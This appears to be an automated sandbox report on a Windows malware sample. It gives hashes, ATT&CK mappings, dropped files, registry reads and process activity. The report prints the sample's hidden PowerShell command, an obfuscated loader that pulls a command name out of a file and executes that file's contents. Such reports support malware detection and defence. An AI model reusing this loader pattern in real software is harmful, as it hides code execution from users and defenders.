4e11fd9ebcd710646c1c685691837f3e2d4983e9232279ece12a6db9be569ba1

Analysis

max time kernel
16s
max time network
17s
platform
windows7_x64
resource
win7-20240708-en
resource tags

arch:x64arch:x86image:win7-20240708-enlocale:en-usos:windows7-x64system
submitted
02-10-2024 13:28

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General

Target

file.exe
Size

516KB
MD5

b60c1b642765e2156730e910dbbed55a
SHA1

e0bc18e19d753f1a09611416c8fea46d3453aac7
SHA256

4e11fd9ebcd710646c1c685691837f3e2d4983e9232279ece12a6db9be569ba1
SHA512

f9bca6ca4cf5f5f06faf58afa65e16897eabe40f981508d6225880d94a629675c834159a31cfaad28bf04003b949d8b054e5b8194b1211f8dc9cdfb9274f21d2
SSDEEP

12288:7813Q9hg+AKfsc/5a+NCGO1UA/DEkINz3WSV/:78lQ96+YcAvwygNz31

Score

8^/10

discovery execution

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

Run Powershell and hide display window.

execution

PowerShell

T1059.001

pid	Process
2704	powershell.exe

Drops file in Program Files directory 1 IoCs

description	ioc	Process
File opened for modification	C:\Program Files (x86)\omdigtendes.udd	file.exe

Drops file in Windows directory 3 IoCs

description	ioc	Process
File created	C:\Windows\brandbombernes.lnk	file.exe
File opened for modification	C:\Windows\Fonts\knytt\Ballistics.mus	file.exe
File opened for modification	C:\Windows\resources\villan\Knastakslerne.ini	file.exe

Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).

System Information Discovery
T1082

System Location Discovery: System Language Discovery 1 TTPs 2 IoCs

Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

discovery

System Language Discovery

T1614.001

description	ioc	Process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	file.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Control\NLS\Language	powershell.exe

Suspicious behavior: EnumeratesProcesses 1 IoCs

pid	Process
2704	powershell.exe

Suspicious use of AdjustPrivilegeToken 1 IoCs

description	pid	Process
Token: SeDebugPrivilege	2704	powershell.exe

Suspicious use of WriteProcessMemory 4 IoCs

description	pid	Process	procid_target
PID 1968 wrote to memory of 2704	1968	file.exe	29
PID 1968 wrote to memory of 2704	1968	file.exe	29
PID 1968 wrote to memory of 2704	1968	file.exe	29
PID 1968 wrote to memory of 2704	1968	file.exe	29

C:\Users\Admin\AppData\Local\Temp\file.exe
"C:\Users\Admin\AppData\Local\Temp\file.exe"
1⤵
- Drops file in Program Files directory
- Drops file in Windows directory
- System Location Discovery: System Language Discovery
- Suspicious use of WriteProcessMemory
PID:1968
- C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
  "powershell.exe" -windowstyle hidden "$Enhedens=Get-Content -Raw 'C:\Users\Admin\AppData\Roaming\intercessionate\Favourablies117\sulfonylurea\overcheaply.Dum';$Citronsommerfuglen=$Enhedens.SubString(7497,3);.$Citronsommerfuglen($Enhedens)"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - System Location Discovery: System Language Discovery
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:2704

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Discovery

System Information Discovery

T1082

System Location Discovery

T1614

System Language Discovery

T1614.001

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

memory/2704-9-0x0000000073A61000-0x0000000073A62000-memory.dmp

Filesize
4KB

Download
memory/2704-10-0x0000000073A60000-0x000000007400B000-memory.dmp

Filesize
5.7MB

Download
memory/2704-11-0x0000000073A60000-0x000000007400B000-memory.dmp

Filesize
5.7MB

Download
memory/2704-12-0x0000000073A60000-0x000000007400B000-memory.dmp

Filesize
5.7MB

Download
memory/2704-13-0x0000000073A60000-0x000000007400B000-memory.dmp

Filesize
5.7MB

Download
memory/2704-14-0x0000000073A60000-0x000000007400B000-memory.dmp

Filesize
5.7MB

Download